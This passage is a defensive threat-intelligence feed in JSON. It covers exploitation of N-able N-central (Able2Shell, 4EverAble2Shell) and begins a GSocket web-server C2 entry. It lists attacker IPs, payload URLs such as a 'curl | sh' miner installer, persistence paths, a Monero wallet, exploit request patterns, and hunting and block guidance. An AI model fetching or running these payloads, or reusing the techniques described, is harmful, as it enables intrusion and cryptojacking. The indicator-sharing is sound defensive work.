KEV, and Beazley notes past state-sponsored targeting. 5.231.45.175 remains a block candidate for earlier Able2Shell probing reported by Previdian and Lupovis; 157.20.241.16 is the live exploitation and payload host and is on the block list, along with its installer URLs and the nable-to-root script hash; the mining-pool addresses are alert only because they are public pool endpoints; the AWS address 3.74.48.121 is alert-only. Hunt N-central web logs for SOAP faults naming jline.internal.TerminalLineSettings, and the appliance for /tmp/.xvd, xvd.service and --rig-id nc_ miners, as well as N-able Agent child processes on managed endpoints.", "caveat": "huntback confirmed 21 live N-central servers mining on 12 November but did not publish their addresses, including one in the United Kingdom. 139.99.69.109 and 79.76.51.56 are mining-pool endpoints used by this operator; alert on them, do not block the whole addresses without reviewing impact. Huntress's Agent2Shell file and process indicators come from static analysis of the public code and may not match modified exploits. 3.74.48.121 is AWS: alert only.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Managed service providers", "IT operations" ], "note": "Any MSP or IT team running N-central is exposed, along with the customer networks it manages; Censys counts about 1,728 internet-exposed instances. On 12 November huntback identified 21 production N-central servers mining as nc_ rigs, including one in the United Kingdom, and has not published the addresses. 19 of those hosts were already on 2026.4 HF2.", "source": { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "name": "huntback.io" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1199", "name": "Trusted Relationship", "url": "https://attack.mitre.org/techniques/T1199/" }, { "id": "T1072", "name": "Software Deployment Tools", "url": "https://attack.mitre.org/techniques/T1072/" }, { "id": "T1136", "name": "Create Account", "url": "https://attack.mitre.org/techniques/T1136/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1005", "name": "Data from Local System", "url": "https://attack.mitre.org/techniques/T1005/" } ], "recommended_actions": [ "Take on-premises N-central servers off the internet, even on 2026.4 HF2, until N-able publishes a fix for 4EverAble2Shell and Agent2Shell; do not rely on IP allowlisting alone, because agents and probes use the same endpoints.", "Block 5.231.45.175 and 157.20.241.16, and the installer URLs on http://157.20.241.16:8080/, at the perimeter; alert on 3.74.48.121 and on the mining-pool addresses 139.99.69.109 and 79.76.51.56, and search N-central web and proxy logs from 8 November for these addresses, for jline.internal.TerminalLineSettings in /dms/services/ServerUI requests, and for /tmp/.xvd, xvd.service and --rig-id nc_ miners.", "On the server, look for new or enabled Default Administrator accounts, unexpected password resets, new scripts, software or policy deployments and remote sessions, plus serverchild-* files under /var/opt/n-central/tmp and CodeDropMeta.xml ZIPs.", "On managed Windows endpoints, hunt for encoded PowerShell run as SYSTEM by the N-able Agent, wsp.exe or service.cfg written to the Windows Software Probe folder, and taskkill of wsp.exe from a .cmd in %TEMP%. If anything is confirmed, treat every network managed by that server as in scope." ], "sources": [ { "url": "https://www.huntress.com/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains", "label": "Huntress – N-able disables cloud services following disclosure of Able2Shell exploit chains", "name": "Huntress" }, { "url": "https://labs.beazley.security/advisories/BSL-A1242", "label": "Beazley Security Labs – Emerging threat: critical vulnerabilities in N-able N-central (watchTowr and Lupovis observations)", "name": "Beazley Security" }, { "url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "label": "Previdian – N-able N-central critical vulnerabilities: what we know so far", "name": "Previdian" }, { "url": "https://www.n-able.com/blog/update-on-n-central-2026-4-hf2-and-ongoing-security-response", "label": "N-able – Update on N-central 2026.4 HF2 and ongoing security response", "name": "N-able" }, { "url": "https://www.tenable.com/blog/able2shell-frequently-asked-questions-for-reported-n-able-n-central-zero-day-vulnerabilities", "label": "Tenable – Able2Shell FAQ: N-able N-central zero-days and Hotfix 2", "name": "Tenable" }, { "url": "https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-n-able-n-central-prompt-hosted-shutdown/", "label": "Rapid7 – Critical vulnerabilities in N-able N-central prompt hosted shutdown", "name": "Rapid7" }, { "url": "https://thehackernews.com/2026/11/new-n-central-exploits-work-against.html", "label": "The Hacker News – New N-central exploits work against patched servers, enable root RCE and Windows SYSTEM access", "name": "The Hacker News" }, { "url": "https://x.com/TheHackersNews/status/2120834921241694544", "label": "The Hacker News – Recently patched N-central servers remain exploitable (X)", "name": "X" }, { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "name": "huntback.io" }, { "url": "https://www.bleepingcomputer.com/news/security/new-n-able-4everable2shell-zero-day-exploited-hours-after-poc-released/", "label": "BleepingComputer – New N-able 4EverAble2Shell zero-day exploited hours after PoC released", "name": "BleepingComputer" } ], "indicator_count": 20, "block_now_count": 8, "hunt_count": 12, "hunt_counts": { "alert": 12 }, "indicator_counts": { "url": 7, "ipv4": 5, "filename": 4, "other": 3, "sha256": 1 }, "ioas": [ { "artefact": "Unauthenticated SOAP POSTs to /dms/services/ServerUI or /dms2/services2/ServerMMS2 from external addresses, carrying SessionHello, GenericAgentXMPPMessageExchange or RemoteExecutionTaskSubmit with SessionID -1, importServiceFromFile with a remote FilePath, or an XML DOCTYPE", "log_source": "N-central web server, reverse-proxy and WAF logs", "why": "These are the endpoints and messages used by the public Able2Shell chains. watchTowr saw SessionHello posts to ServerMMS2, Previdian captured XXE DOCTYPE and importServiceFromFile requests to ServerUI, and Huntress lists the jline.internal.TerminalLineSettings, GenericAgentXMPPMessageExchange and RemoteExecutionTaskSubmit patterns. Agents and probes also use these endpoints, so focus on unexpected external sources and the listed message contents.", "action": "alert", "has_query": false, "source_url": "https://www.huntress.com/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains", "source_name": "Huntress", "title": "N-central ServerUI or ServerMMS2 exploit requests", "queries": [ "SPL", "YARA-L" ] }, { "artefact": "HTTP requests whose User-Agent ends in N-central-sec-audit/1.0", "log_source": "N-central web server, reverse-proxy and WAF logs", "why": "watchTowr's published exploitation attempt used this User-Agent. It is trivial to change, so its absence does not rule out exploitation.", "action": "alert", "has_query": false, "source_url": "https://labs.beazley.security/advisories/BSL-A1242", "source_name": "Beazley Security", "title": "N-central-sec-audit/1.0 user agent", "queries": [ "SPL", "YARA-L" ] }, { "artefact": "Files on the N-central server: /var/opt/n-central/flag/flag_default.json as a symlink to ServerChild.sh, /var/opt/n-central/tmp/serverchild-<12 hex>.bak, .sh or .out, or ZIPs under /download/scheduled_tasks/output_files/ containing CodeDropMeta.xml", "log_source": "File integrity or EDR file events on the N-central appliance", "why": "Huntress identified these files from static analysis of the 4EverAble2Shell and Agent2Shell code; they would appear if the public exploit is run unmodified.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains", "source_name": "Huntress", "title": "serverchild, flag_default.json or CodeDropMeta.xml on the server", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "powershell.exe -NoProfile -NonInteractive -EncodedCommand run as SYSTEM by the N-able Agent or Windows Software Probe on a managed Windows endpoint", "log_source": "EDR process events on Windows endpoints managed by N-central", "why": "Agent2Shell lets an unauthenticated attacker who can reach the server run commands on managed endpoints as SYSTEM. PowerShell is a very common child of the N-able Agent, so the encoded command line, not the process tree, is the signal; decode it and compare with scripts your MSP actually deploys.", "action": "hunt", "has_query": true, "source_url": "https://www.huntress.com/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains", "source_name": "Huntress", "title": "Encoded PowerShell as SYSTEM from the N-able Agent", "queries": [ "KQL", "SPL" ] }, { "artefact": "wsp.exe or service.cfg written to the Windows Software Probe bin folder, a CodeDrop ServiceBackup copy of wsp.exe, or files in Temp CodeDropTmp", "log_source": "EDR file events on N-central probe hosts", "why": "Huntress lists these writes as artefacts of the Agent2Shell probe-replacement chain. The probe is normally updated by N-able, so check for writes outside a planned upgrade.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains", "source_name": "Huntress", "title": "Windows Software Probe binary or config replaced", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "taskkill /f /im wsp.exe or a stop and start of the Windows Software Probe Service, run from a .cmd file in %TEMP%", "log_source": "EDR process events on N-central probe hosts", "why": "Huntress lists this service restart from a temporary batch file as part of the Agent2Shell chain. Legitimate upgrades also restart the probe, so look at the launching script location.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains", "source_name": "Huntress", "title": "Probe service killed from a temp .cmd", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "New or newly enabled N-central administrator accounts (including Default Administrator), unexpected password resets, new scripts, software or policy deployments, and remote control sessions from unfamiliar addresses since 8 November", "log_source": "N-central audit and login logs", "why": "The unauthenticated XXE chain resets an account password and can create an enabled administrator; earlier N-central exploitation was followed by scripts sprayed into managed environments. Beazley and Huntress both recommend this review.", "action": "hunt", "has_query": false, "source_url": "https://labs.beazley.security/advisories/BSL-A1242", "source_name": "Beazley Security", "title": "New N-central admins, resets, scripts or sessions", "queries": [] }, { "artefact": "Apache Axis CVE-2026-90436 or 4EverAble2Shell probe, then root, then curl of jup.sh from 157.20.241.16 and an XMRig miner under /tmp/.xvd", "log_source": "N-central web, process and proxy logs", "why": "Previdian first reported 157.20.241.16 attempting this chain. On 12 November huntback saw the same address weaponise 4EverAble2Shell against live N-central servers, curling http://157.20.241.16:8080/jup.sh to install XMRig and report 21 nc_ rigs on a public pool by 12:50 UTC, 19 of them already on 2026.4 HF2.", "action": "alert", "has_query": true, "source_url": "https://thehackernews.com/2026/11/new-n-central-exploits-work-against.html https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers https://www.bleepingcomputer.com/news/security/new-n-able-4everable2shell-zero-day-exploited-hours-after-poc-released/", "source_name": "The Hacker News", "title": "Apache Axis CVE-2026-90436 or 4EverAble2Shell probe", "queries": [ "KQL" ] }, { "artefact": "POST /dms/services/ServerUI with a SOAP fault whose exceptionName is jline.internal.TerminalLineSettings", "log_source": "N-central web or reverse-proxy logs", "why": "This is the 4EverAble2Shell check and exploit. A vulnerable Axis stack instantiates the class and runs a shell command from the data field. huntback saw the word probe used for checks and a base64 Python root chain in weaponised requests, with user-agent python-requests/2.31.0.", "action": "alert", "has_query": false, "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_name": "huntback.io", "title": "POST /dms/services/ServerUI with a SOAP fault whose exceptionName is...", "queries": [] }, { "artefact": "After a 4EverAble2Shell hit, files under /tmp/.xvd or /var/tmp/.xvd, a systemd unit xvd.service or cron tagged # xvkeep, and a process with --rig-id nc_ or a binary named x running from .xvd", "log_source": "N-central host filesystem, systemd, crontab, process and outbound network logs", "why": "jup.sh installs XMRig this way, using half the CPU cores to stay quiet, and persists with keep.sh. Treat a hit as a full root compromise of a server that manages customer endpoints, not just a miner cleanup. Do not block the public mining-pool addresses without reviewing impact.", "action": "alert", "has_query": false, "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_name": "huntback.io", "title": "After a 4EverAble2Shell hit", "queries": [] } ], "ioa_count": 10, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/block_now.txt", "download": "Able2Shell-N-able-N-central-Zero-Days_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/defender_xdr_indicators.csv", "download": "Able2Shell-N-able-N-central-Zero-Days_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt.kql", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt.spl", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt_raw.spl", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt.yaral", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/iocs.csv", "download": "Able2Shell-N-able-N-central-Zero-Days_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days", "share_url": "https://iocwatch.com/t/Able2Shell-N-able-N-central-Zero-Days/", "indicators": [ { "value": "5.231.45.175", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Source of 68 Able2Shell exploitation attempts against Previdian's N-central decoy from 9 November, including XXE and /etc/passwd reads, and host of the a.dtd and svc.xml payload files.", "source_url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "source_label": "Previdian – N-able N-central critical vulnerabilities: what we know so far", "source_name": "Previdian", "sources": [ { "url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "name": "Previdian" }, { "url": "https://labs.beazley.security/advisories/BSL-A1242", "name": "Beazley Security" } ] }, { "value": "157.20.241.16", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Source of 4EverAble2Shell exploitation against live N-central servers on 12 November, and of earlier probing seen by Previdian. huntback saw this address probe its decoys, then run the full chain (code execution as the nable user, root through nable_wrapper.pl, then curl of jup.sh to install an XMRig miner). It also hosts the installer on TCP 8080 and opens a TCP callback on ports 19202 to 19418. By 12:50 UTC, 21 production N-central servers, 19 already on 2026.4 HF2, were listed as nc_ rigs on the operator's mining pool.", "source_url": "https://thehackernews.com/2026/11/new-n-central-exploits-work-against.html", "source_label": "The Hacker News – New N-central exploits work against patched servers, enable root RCE and Windows SYSTEM access", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/new-n-central-exploits-work-against.html", "name": "The Hacker News" }, { "url": "https://x.com/TheHackersNews/status/2120834921241694544", "name": "X" }, { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" }, { "url": "https://www.bleepingcomputer.com/news/security/new-n-able-4everable2shell-zero-day-exploited-hours-after-poc-released/", "name": "BleepingComputer" } ] }, { "value": "3.74.48.121", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Address Lupovis saw sending requests to the N-central SOAP endpoints targeted by Able2Shell.", "source_url": "https://labs.beazley.security/advisories/BSL-A1242", "source_label": "Beazley Security Labs – Emerging threat: critical vulnerabilities in N-able N-central (watchTowr and Lupovis observations)", "source_name": "Beazley Security", "sources": [ { "url": "https://labs.beazley.security/advisories/BSL-A1242", "name": "Beazley Security" } ] }, { "value": "http://5.231.45.175:8097/a.dtd", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "External DTD referenced in an XXE DOCTYPE posted to /dms/services/ServerUI on Previdian's N-central decoy.", "source_url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "source_label": "Previdian – N-able N-central critical vulnerabilities: what we know so far", "source_name": "Previdian", "sources": [ { "url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "name": "Previdian" } ] }, { "value": "http://5.231.45.175:8097/svc.xml", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Remote file supplied as the FilePath for importServiceFromFile in an Able2Shell exploitation attempt.", "source_url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "source_label": "Previdian – N-able N-central critical vulnerabilities: what we know so far", "source_name": "Previdian", "sources": [ { "url": "https://blog.previdian.com/n-able-n-central-critical-vulnerabilities-what-we-know-so-far/", "name": "Previdian" } ] }, { "value": "http://157.20.241.16:8080/jup.sh", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Miner installer the 4EverAble2Shell root command fetches with curl | sh -s nc_.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" }, { "url": "https://www.bleepingcomputer.com/news/security/new-n-able-4everable2shell-zero-day-exploited-hours-after-poc-released/", "name": "BleepingComputer" } ] }, { "value": "http://157.20.241.16:8080/xvgz", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Gzip-compressed miner binary that jup.sh fetches from the same host.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "http://157.20.241.16:8080/xmrig.tgz", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Fallback stock XMRig 6.26.0 tarball that jup.sh fetches if xvgz is unavailable.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "http://157.20.241.16:8080/ob/cronhit", "type": "url", "confidence": "high", "recommended_action": "block", "description": "HTTP start beacon the miner installer calls as /ob/cronhit?h=jup_start_... when it begins.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "http://157.20.241.16:8080/ob/fcheck", "type": "url", "confidence": "high", "recommended_action": "block", "description": "HTTP check-in the installer uses to report the miner PID, core count, free memory and persistence method.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the Python script that escalates from the nable user to root through nable_wrapper.pl and ServerChild.sh, then runs the operator's command.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "139.99.69.109", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Primary mining-pool endpoint (TCP 10128) that jup.sh configures for the XMRig miner.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "79.76.51.56", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Fallback mining endpoint (TCP 39100) used if the primary pool does not answer within six seconds.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "41wx2Pv3FzfRvX11jQgzM4bRbgvr6GViRXCKkHhXhLVQ64mgUR5ks4CEzHx8zqUJ8MgsWwTaWiS3uiZbCgJQnNXoB19mGtr", "type": "other", "confidence": "medium", "recommended_action": "alert", "description": "Monero wallet the 4EverAble2Shell miner pays into; huntback counted 21 nc_ rigs on this wallet at 12:50 UTC on 12 November.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "jline.internal.TerminalLineSettings", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "exceptionName in the SOAP fault posted to /dms/services/ServerUI; a vulnerable Axis stack instantiates this class and runs a shell command from the data field.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" }, { "url": "https://www.bleepingcomputer.com/news/security/new-n-able-4everable2shell-zero-day-exploited-hours-after-poc-released/", "name": "BleepingComputer" } ] }, { "value": "/tmp/.xvd", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "Working directory jup.sh uses for the miner binary, keep.sh watchdog and xm.log, remounted exec when running as root.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "/var/tmp/.xvd", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "Fallback miner working directory if /tmp is unusable.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "/etc/systemd/system/xvd.service", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "systemd unit the installer writes so keep.sh relaunches the miner every 10 minutes if it has died.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "/etc/cron.d/xvd", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "cron.d persistence used when the installer cannot write a systemd unit.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] }, { "value": "# xvkeep", "type": "other", "confidence": "medium", "recommended_action": "alert", "description": "Tag on a user crontab line the installer adds for nable or root when it cannot write xvd.service or /etc/cron.d/xvd.", "source_url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "source_label": "huntback Research – 4EverAble2Shell exploited: Monero miners on live N-central", "source_name": "huntback.io", "sources": [ { "url": "https://huntback.io/blog/ncentral-4everable2shell-miners-on-live-servers", "name": "huntback.io" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt.kql", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt.spl", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt_raw.spl", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days/hunt.yaral", "download": "Able2Shell-N-able-N-central-Zero-Days_hunt.yaral" } ] }, { "id": "GSocket-Linux-Web-Server-C2", "folder": "threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2", "name": "GSocket Linux Web-Server C2", "short": "GSocket Linux web-server C2", "category": "Post-exploitation / Linux C2", "published": "2026-11-11", "entry_date": "2026-11-12 09:50", "last_updated": "2026-11-12", "seq": 26, "headline": "GSocket relay clients on compromised Linux web servers, with hashes and paths only — do not block the public relay", "summary": "Microsoft Threat Intelligence reports that threat actors have been deploying GSocket, a legitimate open-source relay tool, as stealthy command and control on compromised Linux web servers after internet-facing application breaches. The host and the operator each connect outbound to the public Global Socket Relay Network, so there is no attacker-owned IP address or domain to block. Operators stage gs-netcat under /dev/shm, persist as systemd-remount-d or /usr/bin/defunct, launch the payload with a kernel-thread-like argument-zero name such as [kaluad], and timestomp the files. The four SHA-256 hashes below were published by Microsoft and are on the block list (BlockAndRemediate in the Defender import file). Do not block gsocket.io, cdn.gsocket.io, gsgg.b-cdn.net or the public relay; hunt web-server processes that retrieve or install GSocket instead. Sansec has independently described the same class of GSocket web-server abuse.", "caveat": "GSocket is a legitimate project also used by administrators. Do not block gsocket.io, its CDN, or the public Global Socket Relay Network. Hashes and paths come from Microsoft; the hashes are on the block list.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Hosting", "Internet-facing web applications" ], "note": "Microsoft observed GSocket deployments on compromised Linux web servers after internet-facing application breaches, concentrated in web applications and hosting environments. Specific victim organisations were not named.", "source": { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "name": "Microsoft" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1036.005", "name": "Match Legitimate Name or Location", "url": "https://attack.mitre.org/techniques/T1036/005/" }, { "id": "T1543.002", "name": "Systemd Service", "url": "https://attack.mitre.org/techniques/T1543/002/" }, { "id": "T1053.003", "name": "Cron", "url": "https://attack.mitre.org/techniques/T1053/003/" }, { "id": "T1070.006", "name": "Timestomp", "url": "https://attack.mitre.org/techniques/T1070/006/" }, { "id": "T1090.002", "name": "External Proxy", "url": "https://attack.mitre.org/techniques/T1090/002/" }, { "id": "T1573", "name": "Encrypted Channel", "url": "https://attack.mitre.org/techniques/T1573/" } ], "recommended_actions": [ "Block the four GSocket SHA-256 hashes (BlockAndRemediate in the Defender XDR import file), and hunt 30 days of endpoint logs for them and for the listed file paths.", "Hunt internet-facing Linux web servers for web-server processes (nginx, httpd, php-fpm, java, node) running curl or bash against gsocket.io, files under /dev/shm/.gs-*, systemd-remount-d, /usr/bin/defunct and defunct.service. Do not block gsocket.io or the public relay.", "Look for bash exec -a launching a payload as [kaluad] or another kernel-thread-like name, chmod 700 on /usr/bin/defunct, and touch used to timestomp those files.", "If confirmed, remove the relay client and its persistence, rotate credentials reachable from the host, and verify that outbound sessions to the relay have stopped. Patching the original web-app flaw does not remove GSocket." ], "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "name": "Microsoft" }, { "url": "https://sansec.io/research/gsocket", "label": "Sansec – Found defunct.dat on your site? You have a problem", "name": "Sansec" }, { "url": 